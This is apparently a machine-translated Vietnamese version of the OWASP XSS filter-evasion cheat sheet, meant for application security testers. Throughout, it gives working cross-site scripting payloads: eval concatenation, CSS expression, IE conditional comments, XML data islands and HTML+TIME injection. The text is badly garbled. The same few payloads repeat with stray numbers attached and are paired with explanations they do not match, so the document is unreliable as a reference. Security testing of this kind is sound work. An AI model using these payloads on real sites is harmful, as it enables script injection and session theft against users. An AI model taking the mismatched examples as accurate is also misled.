Bài viết này tập trung vào việc cung cấp cho các chuyên gia kiểm tra bảo mật ứng dụng một hướng dẫn để hỗ trợ kiểm tra Cross Site Scripting. Nội dung ban đầu của bài viết này đã được RSnake tặng cho OWASP, từ XSS Cheat Sheet bán kết của anh ấy, tại. Set.constructor`alert\x28document.domain\x29
6. Trang web đó hiện chuyển hướng đến ngôi nhà mới của nó tại đây, nơi chúng tôi dự định duy trì và nâng cao nó. Bảng gian lận phòng ngừa OWASP đầu tiên, Bảng gian lận ngăn chặn tập lệnh chéo trang, được lấy cảm hứng từ Bảng gian lận XSS của RSnake, vì vậy chúng tôi có thể cảm ơn RSnake vì nguồn cảm hứng của chúng tôi. Chúng tôi muốn tạo ra các hướng dẫn đơn giản, ngắn gọn mà các nhà phát triển có thể tuân theo để ngăn chặn XSS, thay vì chỉ yêu cầu các nhà phát triển xây dựng các ứng dụng có thể bảo vệ chống lại tất cả các thủ thuật ưa thích được chỉ định trong bảng gian lận tấn công khá phức tạp và do đó, Dòng Cheat Sheet của OWASP đã ra đờibài kiểm traBảng gian lận này liệt kê một loạt các cuộc tấn công XSS có thể được sử dụng để vượt qua các bộ lọc phòng thủ XSS nhất định. Xin lưu ý rằng tính năng lọc đầu vào là biện pháp bảo vệ không đầy đủ đối với XSS mà những thử nghiệm này có thể được sử dụng để minh họa Kiểm tra XSS cơ bản mà không cần trốn tránh bộ lọcĐây là cách tiêm JavaScript XSS bình thường và rất có thể bị phát hiện nhưng tôi khuyên bạn nên thử trước (các trích dẫn không bắt buộc trong bất kỳ trình duyệt hiện đại nào nên chúng được bỏ qua ở đây) Set.constructor`alert\x28document.domain\x29
7Bộ định vị XSS (Polygot)Sau đây là "tải trọng XSS thử nghiệm polygot. " Thử nghiệm này sẽ thực thi trong nhiều ngữ cảnh bao gồm html, chuỗi script, js và URL. Cảm ơn Gareth Heyes vì sự đóng góp này Set.constructor`alert\x28document.domain\x29
8Thẻ A không đúng định dạngBỏ qua thuộc tính HREF và tìm hiểu về phần chính của XXS. Gửi bởi David Cross \~ Đã xác minh trên Chrome Set.constructor`alert\x28document.domain\x29
9hoặc Chrome thích thay thế các trích dẫn bị thiếu cho bạn. nếu bạn gặp khó khăn, chỉ cần tắt chúng đi và Chrome sẽ đặt chúng vào đúng chỗ và sửa các trích dẫn bị thiếu của bạn trên một URL hoặc tập lệnh exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
0Thẻ IMG không đúng định dạngBan đầu được tìm thấy bởi Begeek (nhưng đã được làm sạch và rút ngắn để hoạt động trong tất cả các trình duyệt), vectơ XSS này sử dụng công cụ kết xuất thoải mái để tạo vectơ XSS của chúng tôi trong thẻ IMG nên được gói gọn trong dấu ngoặc kép. Tôi cho rằng điều này ban đầu được dùng để sửa mã hóa cẩu thả. Điều này sẽ khiến việc phân tích chính xác các thẻ HTML trở nên khó khăn hơn đáng kể exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
1từCharCodeNếu không cho phép trích dẫn dưới bất kỳ hình thức nào, bạn có thể exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
2 a exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
3 bằng JavaScript để tạo bất kỳ vectơ XSS nào bạn cầnexp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
4Thẻ SRC mặc định để nhận các bộ lọc trước đây kiểm tra tên miền SRCĐiều này sẽ bỏ qua hầu hết các bộ lọc tên miền SRC. Việc chèn JavaScript vào một phương thức sự kiện cũng sẽ áp dụng cho bất kỳ nội dung chèn loại thẻ HTML nào sử dụng các phần tử như Biểu mẫu, Khung nội tuyến, Đầu vào, Nhúng, v.v. Nó cũng sẽ cho phép bất kỳ sự kiện liên quan nào đối với loại thẻ được thay thế như exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
5, exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
6 cung cấp cho bạn một số lượng lớn các biến thể cho nhiều lần tiêm được liệt kê tại đây. Gửi bởi David CrossBiên tập bởi Abdullah Hussam(@Abdulahhusam) exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
7Thẻ SRC mặc định bằng cách để trốngexp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
8Thẻ SRC mặc định bằng cách loại bỏ nó hoàn toànexp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
9Đang báo lỗi<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
0IMG onerror và JavaScript Alert Encode<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
1Tham chiếu ký tự HTML thập phânTất cả các ví dụ XSS sử dụng javascript. lệnh bên trong thẻ <!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
2 sẽ không hoạt động trong Firefox hoặc Netscape 8. 1+ trong chế độ công cụ kết xuất Gecko)<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
3Tham chiếu ký tự HTML thập phân không có dấu chấm phẩy ở cuốiĐiều này thường hiệu quả trong XSS cố gắng tìm kiếm "X;", vì hầu hết mọi người không biết về phần đệm - tổng cộng tối đa 7 ký tự số. Điều này cũng hữu ích đối với những người giải mã dựa trên các chuỗi như $tmp_string =\~ s/. *\(\d+);. */$1/; <!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
4Tham chiếu ký tự HTML thập lục phân không có dấu chấm phẩyĐây cũng là một cuộc tấn công XSS khả thi đối với chuỗi trên $tmp_string=\~ s/. *\(\d+);. */$1/; <!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
5Thẻ nhúngĐược sử dụng để phá vỡ cuộc tấn công kịch bản chéo trang <!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
6Thẻ được mã hóa nhúngSử dụng cái này để phá vỡ XSS <!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
7Dòng mới được nhúng để chia nhỏ XSSMột số trang web tuyên bố rằng bất kỳ ký tự nào trong số 09-13 (thập phân) sẽ hoạt động cho cuộc tấn công này. Điều đó là không chính xác. Chỉ 09 (tab ngang), 10 (dòng mới) và 13 (trả lại dòng) hoạt động. Xem biểu đồ ascii để biết thêm chi tiết. Bốn ví dụ XSS sau đây minh họa véc tơ này <!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
8Vận chuyển nhúng Quay trở lại XSS chia tay(Ghi chú. với những điều trên, tôi đang làm cho các chuỗi này dài hơn mức cần thiết vì các số 0 có thể bị bỏ qua. Tôi thường thấy các bộ lọc giả sử mã hóa hex và dec phải có hai hoặc ba ký tự. Quy tắc thực sự là 1-7 ký tự. ) <!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
9Null chia nhỏ Chỉ thị JavaScriptCác ký tự rỗng cũng hoạt động như các vectơ XSS nhưng không giống như ở trên, bạn cần đưa chúng trực tiếp bằng cách sử dụng thứ gì đó như Burp Proxy hoặc sử dụng a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);
0 trong chuỗi URL hoặc nếu bạn muốn viết công cụ chèn của riêng mình, bạn có thể sử dụng vim (a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);
1 sẽ tạo ra một . Được rồi, tôi lại nói dối, các phiên bản Opera cũ hơn (khoảng thế kỷ 7. 11 trên Windows) dễ bị tấn công bởi một ký tự bổ sung 173 (char điều khiển dấu gạch nối mềm). Nhưng null char a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);
0 hữu ích hơn nhiều và giúp tôi bỏ qua một số bộ lọc trong thế giới thực với một biến thể trong ví dụ nàya="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);
3Điều này hữu ích nếu đối sánh mẫu không tính đến khoảng trắng trong từ a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);
4 - điều này đúng vì điều đó sẽ không hiển thị- và đưa ra giả định sai rằng bạn không thể có khoảng trắng giữa câu trích dẫn và từ khóa a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);
4. Thực tế là bạn có thể có bất kỳ ký tự nào từ 1-32 ở dạng thập phâna="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);
6XSS không alpha-không chữ sốTrình phân tích cú pháp HTML của Firefox giả định rằng một ký tự không phải alpha-không phải là chữ số không hợp lệ sau một từ khóa HTML và do đó coi đó là khoảng trắng hoặc mã thông báo không hợp lệ sau thẻ HTML. Vấn đề là một số bộ lọc XSS cho rằng thẻ mà chúng đang tìm kiếm bị chia nhỏ bởi khoảng trắng. Ví dụ a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);
7. = a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);
8a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);
9Tuy nhiên, dựa trên cùng một ý tưởng như trên, được mở rộng dựa trên nó, sử dụng Rnake fuzzer. Công cụ kết xuất Gecko cho phép bất kỳ ký tự nào không phải là chữ cái, số hoặc ký tự đóng gói (như dấu ngoặc kép, dấu ngoặc nhọn, v.v. ) giữa trình xử lý sự kiện và dấu bằng, giúp bỏ qua các khối tập lệnh chéo trang dễ dàng hơn. Lưu ý rằng điều này cũng áp dụng cho char trọng âm như được thấy ở đây <BODY onload!#$%&()*~+-_.,:;[email protected][/|\]^`=alert("XSS")>
Yair Amit khiến tôi chú ý rằng có một hành vi hơi khác giữa các công cụ kết xuất IE và Gecko cho phép chỉ một dấu gạch chéo giữa thẻ và tham số không có khoảng trắng. Điều này có thể hữu ích nếu hệ thống không cho phép khoảng trắng <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
0Dấu ngoặc mở không liên quanĐược đệ trình bởi Franz Sedlmaier, vectơ XSS này có thể đánh bại một số công cụ phát hiện nhất định hoạt động bằng cách sử dụng các cặp dấu ngoặc góc mở và đóng phù hợp trước tiên, sau đó thực hiện so sánh thẻ bên trong, thay vì một thuật toán hiệu quả hơn như Boyer-Moore để tìm kiếm . Dấu gạch chéo kép nhận xét dấu ngoặc ngoài kết thúc để loại bỏ lỗi JavaScript <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
1Không có thẻ tập lệnh đóngTrong Firefox và Netscape 8. 1 trong chế độ công cụ kết xuất Gecko, bạn thực sự không cần phần <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
2 của vectơ Cross Site Scripting này. Firefox cho rằng việc đóng thẻ HTML là an toàn và thêm các thẻ đóng cho bạn. Chu đáo chưa kìa. Không giống như cái tiếp theo, cái này không ảnh hưởng đến Firefox, cái này không yêu cầu bất kỳ HTML bổ sung nào bên dưới nó. Bạn có thể thêm dấu ngoặc kép nếu cần, nhưng nhìn chung chúng không cần thiết, mặc dù hãy cẩn thận, tôi không biết HTML sẽ trông như thế nào sau khi được đưa vào<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
3Nghị quyết giao thức trong thẻ ScriptBiến thể cụ thể này do Łukasz Pilorz gửi và dựa một phần vào việc bỏ qua giải pháp giao thức của Ozh bên dưới. Ví dụ về tập lệnh chéo trang này hoạt động trong IE, Netscape ở chế độ kết xuất IE và Opera nếu bạn thêm thẻ <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
4 vào cuối. Tuy nhiên, điều này đặc biệt hữu ích khi dung lượng là một vấn đề và tất nhiên, tên miền của bạn càng ngắn thì càng tốt. Các ". j" là hợp lệ, bất kể loại mã hóa vì trình duyệt biết nó trong ngữ cảnh của thẻ SCRIPT<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
5Vectơ HTML/JavaScript XSS mở một nửaKhông giống như Firefox, công cụ kết xuất của IE không thêm dữ liệu bổ sung vào trang của bạn, nhưng nó cho phép javascript. chỉ thị trong hình ảnh. Điều này hữu ích như một vectơ vì nó không yêu cầu dấu ngoặc nhọn. Điều này giả định rằng có bất kỳ thẻ HTML nào bên dưới nơi bạn đang chèn vectơ tập lệnh chéo trang này. Mặc dù không có thẻ đóng ">" nhưng các thẻ bên dưới sẽ đóng thẻ đó. Một lưu ý. điều này làm hỏng HTML, tùy thuộc vào HTML bên dưới nó là gì. Nó xoay quanh regex NIDS sau. <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
6 vì nó không yêu cầu kết thúc ">". Lưu ý thêm, điều này cũng có tác dụng đối với bộ lọc XSS trong thế giới thực mà tôi đã gặp bằng cách sử dụng thẻ <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
7 kết thúc mở thay vì thẻ <!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
2<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
9<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
0Chân đế góc mở đôiSử dụng dấu ngoặc nhọn mở ở cuối vectơ thay vì dấu ngoặc góc đóng sẽ gây ra hành vi khác trong kết xuất Netscape Gecko. Không có nó, Firefox sẽ hoạt động nhưng Netscape thì không <XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
1Thoát JavaScript ThoátKhi ứng dụng được viết để xuất một số thông tin người dùng bên trong JavaScript như sau. <XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
2 và bạn muốn đưa JavaScript của riêng mình vào đó nhưng ứng dụng phía máy chủ thoát khỏi một số trích dẫn nhất định, bạn có thể tránh điều đó bằng cách thoát ký tự thoát của chúng. Khi điều này được đưa vào, nó sẽ đọc <XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
3, kết quả là không thoát khỏi dấu ngoặc kép và khiến vectơ Cross Site Scripting kích hoạt. Bộ định vị XSS sử dụng phương pháp này<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
4Một cách khác, nếu thoát JSON hoặc JavaScript chính xác đã được áp dụng cho dữ liệu được nhúng nhưng không mã hóa HTML, là hoàn thành khối tập lệnh và bắt đầu khối tập lệnh của riêng bạn <XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
5Kết thúc thẻ tiêu đềĐây là một vectơ XSS đơn giản đóng các thẻ <XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
6, có thể gói gọn cuộc tấn công kịch bản chéo trang độc hại<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
7HÌNH ẢNH ĐẦU VÀO<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
8HÌNH ẢNH CƠ THỂ<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
9IMG Dynsrc<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
0IMG Lowsrc<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
1Danh sách-kiểu-hình ảnhVấn đề khá bí truyền khi xử lý việc nhúng hình ảnh cho danh sách dấu đầu dòng. Điều này sẽ chỉ hoạt động trong công cụ kết xuất IE do chỉ thị JavaScript. Không phải là một vectơ tập lệnh chéo trang đặc biệt hữu ích <HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
2VBscript trong một hình ảnh<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
3Livescript (chỉ các phiên bản cũ hơn của Netscape)<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
4Thẻ đối tượng SVG<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
5ECMAScript 6Set.constructor`alert\x28document.domain\x29
Thẻ CƠ THỂPhương pháp không yêu cầu sử dụng bất kỳ biến thể nào của a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);
4 hoặc <HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
7 để thực hiện cuộc tấn công XSS). Dan Crowley cũng lưu ý thêm rằng bạn có thể đặt dấu cách trước dấu bằng (<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
8. = <HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
9)<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
0Trình xử lý sự kiệnNó có thể được sử dụng trong các cuộc tấn công XSS tương tự như ở trên (đây là danh sách toàn diện nhất trên mạng, tại thời điểm viết bài này). Cảm ơn Rene Ledosquet về các bản cập nhật HTML+TIME Dottoro Web Reference cũng có một danh sách các sự kiện rất hay trong JavaScript <? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
1 (kẻ tấn công có thể sử dụng điều này khi được thực thi từ bên trong đối tượng Flash được nhúng)<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
2 (khi người dùng hủy tải hình ảnh)<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
3 (khi đối tượng được đặt làm phần tử hoạt động)<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
4 (kích hoạt sau khi người dùng in hoặc xem trước lệnh in)<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
5 (kích hoạt trên đối tượng dữ liệu sau khi cập nhật dữ liệu trong đối tượng nguồn)<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
6 (kích hoạt trước khi đối tượng được đặt làm phần tử hoạt động)<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
7 (kẻ tấn công thực hiện chuỗi tấn công ngay trước khi lựa chọn được sao chép vào khay nhớ tạm - kẻ tấn công có thể thực hiện việc này với hàm <? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
8)<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
9 (kẻ tấn công thực hiện chuỗi tấn công ngay trước khi lựa chọn bị cắt)<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
0 (kích hoạt ngay sau khi activeElement được thay đổi từ đối tượng hiện tại)<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
1 (Kích hoạt trước khi đối tượng chứa trong phần tử có thể chỉnh sửa đi vào trạng thái kích hoạt giao diện người dùng hoặc khi đối tượng vùng chứa có thể chỉnh sửa được chọn điều khiển)<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
2 (người dùng cần bị lừa dán hoặc buộc phải dán bằng hàm <A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
3)<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
4 (người dùng cần phải bị lừa in hoặc kẻ tấn công có thể sử dụng hàm <A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
5 hoặc <A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
6)<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
7 (người dùng cần phải bị lừa để đóng trình duyệt - kẻ tấn công không thể tải các cửa sổ trừ khi nó được sinh ra từ cửa sổ gốc)<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
8 (kích hoạt trên đối tượng dữ liệu trước khi cập nhật dữ liệu trong đối tượng nguồn)<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
9 (sự kiện onbegin kích hoạt ngay lập tức khi dòng thời gian của phần tử bắt đầu)Set.constructor`alert\x28document.domain\x29
00 (trong trường hợp cửa sổ bật lên khác được tải và cửa sổ mất tiêu điểm)Set.constructor`alert\x28document.domain\x29
01 (kích hoạt khi thuộc tính hành vi của đối tượng vùng chọn được đặt thành "thay thế" và nội dung của vùng chọn đến một bên của cửa sổ)Set.constructor`alert\x28document.domain\x29
02 (cháy khi dữ liệu thay đổi trong nhà cung cấp dữ liệu)Set.constructor`alert\x28document.domain\x29
03 (trường chọn, văn bản hoặc TEXTAREA mất tiêu điểm và giá trị của nó đã được sửa đổi)Set.constructor`alert\x28document.domain\x29
04 (ai đó nhấp vào biểu mẫu)Set.constructor`alert\x28document.domain\x29
05 (người dùng cần nhấp chuột phải vào khu vực tấn công)Set.constructor`alert\x28document.domain\x29
06 (kích hoạt khi người dùng chuẩn bị thực hiện lựa chọn kiểm soát đối tượng)Set.constructor`alert\x28document.domain\x29
07 (người dùng cần sao chép một cái gì đó hoặc nó có thể bị khai thác bằng cách sử dụng lệnh <? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
8)Set.constructor`alert\x28document.domain\x29
09 (người dùng cần sao chép một cái gì đó hoặc nó có thể bị khai thác bằng cách sử dụng lệnh Set.constructor`alert\x28document.domain\x29
10)Set.constructor`alert\x28document.domain\x29
11 (người dùng sẽ cần thay đổi dữ liệu trong một phần tử hoặc kẻ tấn công có thể thực hiện chức năng tương tự)Set.constructor`alert\x28document.domain\x29
12 (kích hoạt khi tập dữ liệu được hiển thị bởi một đối tượng nguồn dữ liệu thay đổi)Set.constructor`alert\x28document.domain\x29
13 (kích hoạt để cho biết rằng tất cả dữ liệu có sẵn từ đối tượng nguồn dữ liệu)Set.constructor`alert\x28document.domain\x29
14 (người dùng nhấp đúp vào phần tử biểu mẫu hoặc liên kết)Set.constructor`alert\x28document.domain\x29
15 (kích hoạt khi activeElement được thay đổi từ đối tượng hiện tại sang đối tượng khác trong tài liệu gốc)Set.constructor`alert\x28document.domain\x29
16 (yêu cầu người dùng kéo một đối tượng)Set.constructor`alert\x28document.domain\x29
17 (yêu cầu người dùng kéo một đối tượng)Set.constructor`alert\x28document.domain\x29
18 (yêu cầu người dùng kéo đối tượng ra khỏi vị trí hợp lệ)Set.constructor`alert\x28document.domain\x29
19 (yêu cầu người dùng kéo đối tượng vào vị trí hợp lệ)Set.constructor`alert\x28document.domain\x29
20 (yêu cầu người dùng kéo đối tượng vào vị trí hợp lệ)Set.constructor`alert\x28document.domain\x29
21 (người dùng đánh rơi một đồ vật (e. g. file) vào cửa sổ trình duyệt)Set.constructor`alert\x28document.domain\x29
22 (xảy ra khi người dùng bắt đầu thao tác kéo)Set.constructor`alert\x28document.domain\x29
23 (người dùng đánh rơi một đồ vật (e. g. file) vào cửa sổ trình duyệt)Set.constructor`alert\x28document.domain\x29
24 (sự kiện onEnd kích hoạt khi dòng thời gian kết thúcSet.constructor`alert\x28document.domain\x29
25 (tải tài liệu hoặc hình ảnh gây ra lỗi)Set.constructor`alert\x28document.domain\x29
26 (kích hoạt đối tượng cơ sở dữ liệu khi xảy ra lỗi trong khi cập nhật dữ liệu được liên kết trong đối tượng nguồn dữ liệu)Set.constructor`alert\x28document.domain\x29
27 (kích hoạt khi bộ lọc trực quan hoàn thành thay đổi trạng thái)Set.constructor`alert\x28document.domain\x29
28 (kẻ tấn công có thể tạo khai thác khi marquee kết thúc vòng lặp)Set.constructor`alert\x28document.domain\x29
29 (kẻ tấn công thực hiện chuỗi tấn công khi cửa sổ được lấy tiêu điểm)Set.constructor`alert\x28document.domain\x29
30 (kẻ tấn công thực hiện chuỗi tấn công khi cửa sổ được lấy tiêu điểm)Set.constructor`alert\x28document.domain\x29
31 (kẻ tấn công thực hiện chuỗi tấn công khi cửa sổ mất tiêu điểm)Set.constructor`alert\x28document.domain\x29
32 (kích hoạt khi phần định danh đoạn của địa chỉ hiện tại của tài liệu thay đổi)Set.constructor`alert\x28document.domain\x29
33 (kẻ tấn công thực hiện chuỗi tấn công khi người dùng nhấn F1 trong khi cửa sổ đang ở tiêu điểm)Set.constructor`alert\x28document.domain\x29
34 (nội dung văn bản của một phần tử được thay đổi thông qua giao diện người dùng)Set.constructor`alert\x28document.domain\x29
35 (người dùng nhấn một phím)Set.constructor`alert\x28document.domain\x29
36 (người dùng nhấn hoặc giữ một phím)Set.constructor`alert\x28document.domain\x29
37 (người dùng nhả khóa)Set.constructor`alert\x28document.domain\x29
38 (người dùng sẽ phải in hoặc xem trước bản in)Set.constructor`alert\x28document.domain\x29
39 (kẻ tấn công thực hiện chuỗi tấn công sau khi cửa sổ tải)Set.constructor`alert\x28document.domain\x29
40 (có thể khai thác bằng phương pháp Set.constructor`alert\x28document.domain\x29
41)Set.constructor`alert\x28document.domain\x29
42 (Khi tệp phương tiện phát trực tuyến được sử dụng, sự kiện này có thể kích hoạt trước khi tệp bắt đầu phát)Set.constructor`alert\x28document.domain\x29
43 (Người dùng mở một trang trong trình duyệt có chứa tệp phương tiện và sự kiện kích hoạt khi có sự cố)Set.constructor`alert\x28document.domain\x29
44 (cháy khi tài liệu nhận được tin nhắn)Set.constructor`alert\x28document.domain\x29
45 (kẻ tấn công sẽ cần khiến người dùng nhấp vào hình ảnh)Set.constructor`alert\x28document.domain\x29
46 (con trỏ di chuyển trên một đối tượng hoặc khu vực)Set.constructor`alert\x28document.domain\x29
47 (kẻ tấn công sẽ cần yêu cầu người dùng di chuột qua một hình ảnh hoặc bảng rồi tắt lại)Set.constructor`alert\x28document.domain\x29
48 (kẻ tấn công cần yêu cầu người dùng di chuột qua hình ảnh hoặc bảng)Set.constructor`alert\x28document.domain\x29
49 (kẻ tấn công sẽ cần yêu cầu người dùng di chuột qua một hình ảnh hoặc bảng rồi tắt lại)Set.constructor`alert\x28document.domain\x29
50 (con trỏ di chuyển trên một đối tượng hoặc khu vực)Set.constructor`alert\x28document.domain\x29
51 (kẻ tấn công sẽ cần khiến người dùng nhấp vào hình ảnh)Set.constructor`alert\x28document.domain\x29
52 (kẻ tấn công sẽ cần khiến người dùng sử dụng con lăn chuột của họ)Set.constructor`alert\x28document.domain\x29
53 (người dùng hoặc kẻ tấn công sẽ di chuyển trang)Set.constructor`alert\x28document.domain\x29
54 (người dùng hoặc kẻ tấn công sẽ di chuyển trang)Set.constructor`alert\x28document.domain\x29
55 (người dùng hoặc kẻ tấn công sẽ di chuyển trang)Set.constructor`alert\x28document.domain\x29
